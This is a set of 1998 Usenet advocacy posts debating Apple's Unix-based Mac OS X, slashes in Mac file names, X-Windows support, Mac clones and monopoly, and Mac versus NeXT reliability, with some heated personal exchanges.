Oh yeah, since it's Unix based, does that mean It's not going to allow you to
include "/"'s in file names?
OJH
In article <3605FA5F.F07323AD@trilithon.com>,
Henry McGilton <henry@trilithon.com> wrote:
> Steve Kellener wrote:
> * And don't leave out the ability to run Win '9X apps. via
> * Soft Windows or VPC. Personally I could care less about these.
> And the sad aspect of the original posting is that the poster
> was worried about UNIX as a basis for Mac O' Sex.
>
> ........ Henry
>
> ============================================================
> Henry McGilton | Trilithon Software
> Boulevardier, Java Composer | Seroia Research
> -------------------------------+----------------------------
> mailto:henry@trilithon.com | http://web.trilithon.com
> ============================================================
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Mon, 21 Sep 1998 07:59:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-2109980759520001@wil52.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <joe.ragosta-1909981818460001@elk70.dol.net> <wi5N1.356$sB1.341400@newsfeed.slurp.net> <joe.ragosta-2009980706400001@elk88.dol.net> <1liN1.862$sB1.900909@newsfeed.slurp.net>
In article <1liN1.862$sB1.900909@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> Joe Ragosta wrote in message ...
>
> >Good to see you finally admit it. That's all I've been trying to get you
> >to say for quite a while. The clones are NOT "Macintosh computers".
> >They're "Macintosh clones".
>
> I don't like playing word games Joe.. it's childish.
Let's see. So it's "word games" when you were blatantly wrong and refused
to admit it.
>
> The point was... they are part of the Macintosh Platform.
Of course it is. SO SAY THAT. That's all I've been trying to get you to do
throughout this thread.
You started out saying that cloners were making Macs or something like
that. YOU WERE WRONG.
Just admit it and move on.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 21 Sep 1998 17:33:14 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6u62kq$k7h$1@cronkite.cs.umd.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <6trsvi$a5u$1@news.idiom.com>
NNTP-Posting-Date: 21 Sep 1998 17:33:14 GMT
John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
: Sean Luke may or may not have said:
: -> John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
: ->
: -> : UNIX is a microcomputer OS.
: ->
: -> A bizarre statement, given that UNIX was created long before the
: -> microcomputer existed.
: The PDP-10 was a microcomputer, in my book.
0) UNIX was written for the PDP-11.
1) You are welcome to believe the PDP-10 was a microcomputer; I think
you'll be alone in that definition. I believe the general consensus is
that the PDP-10 was a minicomputer.
Sean Luke
seanl@cs.umd.edu
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: Mon, 21 Sep 1998 13:49:31 -0400
Organization: none
Message-ID: <id_est-2109981349320001@192.168.1.3>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <6u5snv$3jd@news1.panix.com>
In article <6u5snv$3jd@news1.panix.com>, sal@panix.com wrote:
> On Mon, 21 Sep 1998 10:56:38 GMT, hughesojh@my-dejanews.com
> <hughesojh@my-dejanews.com> wrote:
>
> >Oh yeah, since it's Unix based, does that mean It's not going to allow you to
> >include "/"'s in file names?
>
> I don't see that as a major problem. How often have you hade the need to
use ":"
> in Mac file names?
A quick search of my hard drives yielded 142 out of around 11,000 files
with a "/" in them. Some are things like "btoa/atob Translator" from
stuffit deluxe, "Apple CD/DVD Driver" from the Apple System Software,
"Font/DA Mover 4.1" from Apple, "MI/X" an X server program and "Clients
3/21/95". The point is that some of them are my files and some of them are
application files. If existing apps are not going to break then apple
needs to support the "/" in file names.
As long as the OS doesn't treat / as a directory delimiter directly when
it is in a file name the only problem is that it will break most shells.
Using quotes would be a way around this. For example a shell for the MacOs
called Nshell uses quotation marks to handle spaces. This could apply to /
as well. For example:
rm /home/mywork/"my file 9/21/98" could work fine.
FYI. I found none with "\" and 2 with "*" and 341 with "-"
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: 48-bit pixels in MacOS 8.5?
Date: 20 Sep 1998 13:02:01 GMT
Organization: UCO & Associates, LLP
Message-ID: <6u2uc9$f7l$1@wbnws01.ne.highway1.com>
References: <01bde1aa$5fc3f690$06387880@chewy> <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net>
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> Oh great. I hope we can still use the smaller 32-pixel size. I agree that
> larger icons (and the NeXT UI in general) are great for >17" displays, but
> smaller (and more common) monitors like my 15" would die at the hands on
> the NeXT UI.
>
> And about that title, it's a little misleading; it sounds like you're
> talking about 48-bit color (48 bits per pixel).
That's bunk. As long as you can view 1024X768 on your 15" screen (which most
15" monitors can do), the NeXT UI works fine.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.flame.macintosh
Subject: Re: What we need from Mac OSuX
Date: 21 Sep 1998 17:44:53 GMT
Organization: University of Washington, Seattle
Message-ID: <6u63al$1ing$1@nntp6.u.washington.edu>
References: <35f981c1.4716408@news.alt.net> <6tupg9$6fb$1@plo.sierra.com> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net> <6u12ns$3qh$1@ash.prod.itd.earthlink.net>
NNTP-Posting-User: gwangung
In article <6u12ns$3qh$1@ash.prod.itd.earthlink.net>,
Todd Arneson <s124@[REMOVE]earthlink.net> wrote:
>
>Joshua T. McKee wrote in message ...
>>God you people are stupid!
No kidding.
>>Are you saying that Sun has a monopoly? What about SGI? What about HP?
>>All these companies make their own computers without allowing clones (Sun
>>at one time did but I believe has stopped that practice). Are you going
>>to tell me, with a straight face, that all these companies have a monopoly
>>because they are the only producers of their respective computers? That
>>should be good for a laugh.
>>
>>Joe's right...just because Apple is the only manufacturer of the Macintosh
>>doesn't make them a monopoly.
>
>
>
>Apple has a monopoly on the Apple market, I.E: Computers running MacOS. They
>do NOT have a monopoly on the entire computer market.
You really don't think about what you write, do you?
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.flame.macintosh
Subject: Re: What we need from Mac OSuX
Date: 21 Sep 1998 17:49:33 GMT
Organization: University of Washington, Seattle
Message-ID: <6u63jd$1a1g$1@nntp6.u.washington.edu>
References: <35f981c1.4716408@news.alt.net> <Josh.McKee-1909981057150001@166-93-69-218.rmi.net> <36047D27.7777094B@nstar.net> <Josh.McKee-2009980834520001@166-93-69-130.rmi.net>
NNTP-Posting-User: gwangung
In article <Josh.McKee-2009980834520001@166-93-69-130.rmi.net>,
Joshua T. McKee <Josh.McKee@cbns.com> wrote:
>
>Monopolies apply to markets, not companies.
Glad somebody knows what they're talking about.
Thus, Microsoft does not have
>a monopoly because they are the only ones with Windows, they have a
>monopoloy because DOS/Windows can be found on the majority of desktop
>computers.
Moreover, they can use their market influence to maintain or
extend their hegemony.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 21 Sep 1998 18:12:58 GMT
Organization: I don't think so
Message-ID: <slrn70d638.ro.jason@jhste1.dyn.ml.org>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <6trsvi$a5u$1@news.idiom.com> <6u62kq$k7h$1@cronkite.cs.umd.edu>
Sean Luke posted the following to comp.sys.mac.advocacy:
>: -> : UNIX is a microcomputer OS.
>: -> A bizarre statement, given that UNIX was created long before the
>: -> microcomputer existed.
>: The PDP-10 was a microcomputer, in my book.
>0) UNIX was written for the PDP-11.
>1) You are welcome to believe the PDP-10 was a microcomputer; I think
>you'll be alone in that definition. I believe the general consensus is
>that the PDP-10 was a minicomputer.
Kind of a big mini. Nearly a mainframe.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Mon, 21 Sep 1998 12:57:32 -0400
Organization: none
Message-ID: <id_est-2109981257430001@192.168.1.3>
References: <6u3f47$3nb$1@schbbs.mot.com> <6u4b54$ikv@news1.panix.com>
In article <6u4b54$ikv@news1.panix.com>, sal@panix.com wrote:
> On Sun, 20 Sep 1998 18:46:59 +0100,
> Stephen Totten <stephent@comm.mot.com> wrote:
> >I'm kindof worried that Apple are choosing to base their new 'consumer' OS
> >on top of what is basically UNIX, which definitely not a consumer OS (e.g.
> >who would think of looking in /etc to find the password file, and setting up
> >printers is a job and a half).
I too am a little worried about adding in Unix directory structures to a
'consumer' OS.
> If Rhapsody DR2 is any indication of what you can expect of MacOSX, I don't
> think you'll have to hack text files by hand to use the system.
> Accounts are managed via a GUI App. So are printers. So is just about
> everything else. If you _want_ to use the CLI, you can. If you don't want to,
> you won't have to. OSX logo requirements will probably mandate the use of a
> GUI installer and uninstaller, as well as an unofficial (or perhaps official)
> frowning on the mandatory use of a CLI in YB or Carbon Apps.
This is, of course, mandatory that you will not have to to edit text files
to configure the system.
> >To me windows seems slightly hairy because of the sheer amount of stuff that
> >is hidden (DLL's, etc). Apple seem to be doing the same with their 'Unix
> >expert' option.
>
> There are tons of stuff that is hidden in MacOS as well. How much do you
> have to know about code fragments to use MacOS? If something is hidden well,
> then it isn't a problem.
Hidden well is the issue. Things in the MacOS are very well hidden. There
is also a lot of freedom to move and rename things to suit your tastes
without breaking much. Special folders (System, Extensions, Control panels
etc) take on special icons when they are are active and lose them when
they are not. Files tend to have sensible names like 'Such-and-such app
preferences'. It is a much simpler system than /etc, /usr/etc, /bin
/usr/local/etc and more. The only character that is forbidden is ':' and
it simply wont let you type it in a file name and if you download a file
that has a colon in it it converts to a ;. I know lost of people that have
files called things like "letter 9/12/97" or things like that. I don't
know how that transition works. What I would like to see is a setting
equivalent to a the 8.1 Finder settings of simple and normal. Add a
"technical" to this. If you are in Normal then you see a system folder
that mimics the current one only is maybe simpler to work with. (I am not
a fan of apple using names like OpenTptInet lib) I would like to see the
whole Unix file hierarchy hidden in this psuedo-system folder as well as
having all related files that are not modular being 'wrapped' together to
appear as one icon. In "technical" you would see the whole Unix hierarchy.
The other thing is the better not add in the requirement of hard paths.
One of the great strengths of the MacOS is that you can move apps all over
over the place, including different drives and network volumes and they
all work fine.
> IMHO, Rhapsody puts less demands on the user than MacOS8.
I disagree. Try installing an update of OmniWeb or Updating the blueBox
version of the System software. These may work better than the equivalnet
in the MacOS but they put more demands on the user than say Updating
Netscape and Virtual PC.
> How often do you have to clear out the system folder? How often do you have
> to debug an extension conflict? How often do you have to set memory sizes
> for Apps?
Once, during the setup of the machine
> >I realise that changing file locations would require a major UNIX rewrite,
> >but sweeping things under the carpet just seems sloppy to me.
>
> Not having PM and PMT, or having to manually set memory sizes in 1998 seems
> sloppy to me.
Agreed
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: simple question
Date: 21 Sep 1998 17:55:48 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6u63v4$k7h$2@cronkite.cs.umd.edu>
References: <35FF37B7.4788FDA8@starwave.com> <6tp9c7$5q2@shelob.afs.com>
NNTP-Posting-Date: 21 Sep 1998 17:55:48 GMT
Gregory H. Anderson (Greg_Anderson@afs.com) wrote:
: Dayne Miller <dayne.miller@starwave.com> writes
: > Does Mac OS X Server (MOSXS???) still support multiple-item selection,
: > in the same manner that OPENSTEP does? Specifically, I value the ability
: > to select multiple, non-contiguous items and have them represented as a
: > single icon on the shelf, to delete, copy, move, drop onto an app, etc.
: > And to have more than one of those multi-item selections available at
: > the same time.
: Yes, but the state key has changed from "Shift" to "Option" (Alt). Shift
: now selects a contiguous range from the last selected item down to the
: currently selected item.
Are you sure about that, Greg? That'd be different from normal Mac
practice. In my experience, on the Mac, the standard key for
discontinuous selection in a list is usually the Command key.
Sean Luke
seanl@cs.umd.edu
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 21 Sep 1998 21:17:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6u6fpo$jq3@newsb.netnews.att.com>
Originator: gupta@tlctest
ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
Thanksgiving and NT 5.0 final delivery 12-15 weeks after
that -- Q1-Q2 1999. This flies in the face of analysts'
predictions of late 1999 to year 2000 delivery.
http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
-arun gupta
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Nextworld EXPO '93 on NPR
Date: Mon, 21 Sep 1998 16:24:14 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Ezn6wE.7v7@AWT.NL>
References: <3603fcec.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>NeXTers (described as Unix geeks in Armani)
Is Unix geek in Versace OK too?
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Inappropriate Thread (was "pissed at SGI" + variants)
Message-ID: <1998Sep21.180638.19416@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <forrestDELETE-THIS!-1409981827540001@term3-22.vta.west.net>
Date: Mon, 21 Sep 1998 18:06:38 GMT
In article <forrestDELETE-THIS!-1409981827540001@term3-22.vta.west.net>
forrestDELETE-THIS!@west.net (Forrest Cameranesi) writes:
[SNIP]
> > 3) The Mac OS is actually looking a great bit more like
> > NEXT/OPENSTEP, based on seeing and using Rhapsody
> > DR2.
>
> And this is true too...
[SNIP]
And some of us would contend that NEXT/OPENSTEP is looking a great bit
more like Mac OS, based on seeing and using Rhapsody DR2.
;-)
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 21 Sep 1998 17:13:19 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2109981713200001@166-93-57-171.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net>
NNTP-Posting-Date: 21 Sep 1998 23:10:47 GMT
In article <6u3hb2$9sn$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >In article <6u24rn$mu3$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> ><s124@[REMOVE]earthlink.net> wrote:
> >> Wow, hard hitting insults. What next, are you going to call me a clown
> >> just like you buddy Derek? BAHAHAHA!
> >
> >
> >Hard hitting insults? Calling you dumb is a hard hitting insult? If I
> >had to classify it as an insult, I would consider it rather weak. However
> >it was an observation. You clearly have demonstrated that you aren't very
> >intelligent.
>
>
> ARE YOU STUPID OR WHAT?!?!?!? Ever hear of SARCASIM?!?!?!?!? I guess I
> better but this line in every post if I use sarcasm:
I see nothing in your message that even hints at sarcasm. This is an
attempt to change an insult into more of an insult. Nice try.
Josh
Date: Mon, 21 Sep 1998 10:55:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Message-ID: <joe.ragosta-2109981055400001@wil69.dol.net>
References: <35FC1A30.EE020BD5@nstar.net> <6u5kfe$h65@newsb.netnews.att.com>
In article <6u5kfe$h65@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Michael J. Peck <mjpeck@nstar.net> wrote:
>
> >BusinessWeek series:
> >
> >In http://www.businessweek.com/bwdaily/dnflash/aug1998/nf80831a.htm,
> >Eric Hubler describes his excitement about the new iMac he just bought.
> >One week later, he writes a decidedly different article,
> >http://www.businessweek.com/bwdaily/dnflash/sep1998/nf80911d.htm.
>
> And just for the record, a week later, Eric Hubler writes
> "Hey La, Hey La, My iMac's back"
> http://www.businessweek.com/bwdaily/dnflash/sep1998/nf80916a.htm.
Where he basically admits that he was acting like a two year old.
Message-ID: <36066CCC.1C2FC4DC@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Mon, 21 Sep 1998 11:09:08 EDT
Date: Mon, 21 Sep 1998 08:12:12 -0700
hughesojh@my-dejanews.com wrote:
* How come it won't come with support for X-Apps?
* I know that the GUI is based on the NeXT/Openstep model,
* but you could get apps for running X seamlessly in windows
* under those.
* Why don't apple include a X-Server?
Come on now, let's get real. The original poster was worried
about trying to push UNIX into the consumer marketplace. I agree
with that as a concern. Now you want to have something even
worse than generic *NIX, namely, X-Windows --- the computer
user's equivalent of LSD.
* An OS that can run apps for 3/4 different OS's seamlessly
* would really be useful.
What "apps" are we talking about here? XTerm? Wow, I bet the Mac
user community will buy a lot of those. How about an eight
megabyte desktop clock?
We're almost at the year 2000 and people still want X-Windows?
X-Windows was an experiment that should never have escaped from
the lab. Admittedly, there's nothing wrong with running
experiments. But when you've run the experiment, collected the
data, and all the data point to the inescapable conclusion that
the underlying assumption was a crock, then the experiment
should be abandoned and you move onto something new, and, one
hopes, better next time.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 22 Sep 1998 00:37:42 GMT
Organization: AOL http://www.aol.com
References: <id_est-2109981257430001@192.168.1.3>
Message-ID: <19980921203742.01266.00004828@ng90.aol.com>
id_est@interport.net (tse_di) said:
>>sal@panix.com wrote:
>> How often do you have to clear out the system folder? How often do you have
>> to debug an extension conflict? How often do you have to set memory sizes
>> for Apps?
>Once, during the setup of the machine
You're kidding, right?
My Mac 9500 quit working reliably the other day when I accidentally
double-clicked on a TIFF in Freehand, thus enabling/setting the TIFF external
editor option.
I take it that you never install an additional application after the purchase
of a machine? The last AOL update bollixed one of the other communciations apps
at work today.
How, pray tell am I to edit a 100 MB TIFF in Photoshop 5.0, when I have the
memory size set to enable it to coexist with Freehand 7 and Illustrator 6 and 7
on a 160 MB machine and still have decent performance/capability in the drawing
programs?
I take it that you don't use a Mac in a high-end graphics production
environment?
I for one would kill for the reliability and elegance of my NeXT at work, and
have been seriously considering setting up a Station on my desk at work just so
I won't be bogged down by my Mac crashing several times a day (and this with
_no_ non-Apple/mainstream application (Illustrator, Photoshop, Freehand)
extensions or control panels.
William
--
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: 21 Sep 1998 15:43:49 GMT
Organization: Primenet (602)416-7000
Message-ID: <6u5s7l$k63$1@nnrp02.primenet.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com>
Henry McGilton <henry@trilithon.com> wrote:
: Now you want to have something even worse than generic *NIX, namely,
: X-Windows --- the computer user's equivalent of LSD.
You mean I'll have flashbacks?
: We're almost at the year 2000 and people still want X-Windows?
: X-Windows was an experiment that should never have escaped from
: the lab. Admittedly, there's nothing wrong with running
: experiments. But when you've run the experiment, collected the
: data, and all the data point to the inescapable conclusion that
: the underlying assumption was a crock, then the experiment
: should be abandoned and you move onto something new, and, one
: hopes, better next time.
Most people accept that X11 is flawed. Why do they keep using it?
Because it is now part of the computing infrastructure, and because free
implementations are available. That combination is hard to beat.
Commercial alternatives (like DPS, or QNX's Photon) might have technical
advantages, but how do they break in? You have to charge a lot to pay
back that development. Selling the graphics layer as a product is
probably a no-win situation.
Probably the only way to get a graphics standard going is to piggy-back on
a successful product. If the AWT had been a great object-graphics layer,
we might have seen it piggy-back on Java to become a cross-platform
standard in its own right.
Apple can certainly set a standard within its own world. For people to
choose that standard over X11, it is going to need to be available on
their platform. At this point, that doesn't look likely.
So you are left with X11 as the industry standard, and the question "to
what degree does Apple support industry standards?"
JOhn
Message-ID: <3606F3F8.D2B36795@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com>
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: Mon, 21 Sep 1998 20:45:57 EDT
Date: Mon, 21 Sep 1998 17:48:56 -0700
Stephen Totten wrote:
* Sorry - you are quite right. I am only familiar with more
* 'traditional' UNIXes (HP-UX, solaris etc).
Well, there you have it. The more traditional *NIXen have made
very little advance in capability or in user friendliness in the
past fifteen years. In some cases, they've gone backwards. Look at
Solaris versus BSD as an example. NextStep was a huge effort to
place a user-friendly layer on top of Mach/BSD. It's not perfect
by any means, but it sure beats any other *NIX out there.
And as for "ease of use", try setting up TCP/IP and PPP connections
on a Mac sometime. I tried it a few weeks back and was soon
screaming and begging to get back to my "easier to use" NT box.
* My point kindof was though that, on '98 for example, all
* those DLL's and autoexec.bat files still exist, and an
* inquisitive first time user might wonder what all these are
* for. Touching any of these files can quite easily cripple
* your machine. An inquisitive Mac newbie might also decide to
* see what this 'UNIX expert' option is, and accidentally
* delete an essential file.
Well, an inquisitive Mac newbie might wonder what all that glop
inside the System Folder is. And it's not even hidden from view
by default. And how many inquisitive Mac newbies have ever tried
to eject their system disk --- a fabulous way to wedge your Mac.
I think you are creating strawmen here.
And somebody else [Sal maybe?] made the excellent point that most
if not all of the system files and folders of the Rhapsody system
are writable only by root or one of the other special accounts, so
the average inquisitive Mac newbie can't get there unless they are
logged in as root. Is this not also the case on the more
'traditional' *NIXen (HP-UX, solaris etc) with which you say you
are familiar? On Mac, of course, everything is wide open, so that
the inquisitive Mac newbie can pillage to their heart's desire.
* This is of course possible with the MacOS as it is at the
* moment, but in a traditional UNIX environment there is so
* much more to go wrong.
Okay --- *how much more*? Using your example about .DLLs and such
from above, I did a quick and dirty count of files between my
NextStep system and my Windows NT system. From the root of my
NextStep system, there are around 3,300 files. I didn't count
the /NextDeveloper tree because I assume that if you're a developer
you know what you're doing anyway.
From the C:\Winnt folder on NT, there are 3,930 files. Sounds like
there's "so much more to go wrong" on NT. And we won't even
mention that cute pagefile.sys at the top of the C: drive. "Wow,
look at that bloody great file --- it's 75MB --- let's get rid of
it to save space".
I don't have the Big Mac handy here at the moment to do a dangerous
file count comparison, but I bet it'll come out close to Windows or
UNIX --- similar bodies of functionality require similar numbers of
applications and services. Example, on UNIX you use FTP, on Mac you
use Fetch, and on Windows you use FTP Explorer or some such. Name
an area of functionality, and I will not be surprised if there is a
piece of software to support that functionality on all systems.
As an old-time NextStep hacker, I don't mind engaging in reasonably
friendly debate about the relative merits or otherwise of
NextStep/Rhapsody versus your favourite OS. What I [and I'm sure I
speak for other old-time NextStep people] would like is for the
debates to *make sense*. And the way for the debates to make
[more] sense is for the people in the debate to arm themselves with
a few facts here and there.
Contrary to some opinions, Apple are not trying to keep Rhapsody a
secret. There is a plentiful body of knowledge about NextStep and
Rhapsody, going back over ten years. And there are probably
hundreds of knowledgeable NextStep and Rhapsody developers out here
who *do* have the facts, because they have taken the time and
trouble to avail themselves of the facts. I'm sure many of those
hundreds of developers would be happy to share their knowledge with
you, so that you will also be informed.
Given a Big Company like Motorollah, surely you can get your bosses
to spring for a developer system, so you can actually take a look
at the thing before spreading FUD?
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Lower Wolf" <wolf@nospam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 21 Sep 1998 17:26:32 -0700
Message-ID: <6u6qrq$6a2$1@nntp2.ba.best.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net>
I'm not involved here... but I couldn't help but notice. No offense, Josh,
but that's really blaringly obvious sarcasm.
Wolf
Joshua T. McKee wrote in message ...
>I see nothing in your message that even hints at sarcasm. This is an
>attempt to change an insult into more of an insult. Nice try.
>
>Josh
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: A computer is not like a car.
Date: Mon, 21 Sep 1998 21:56:51 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <36033155.921572@news.supernews.com>
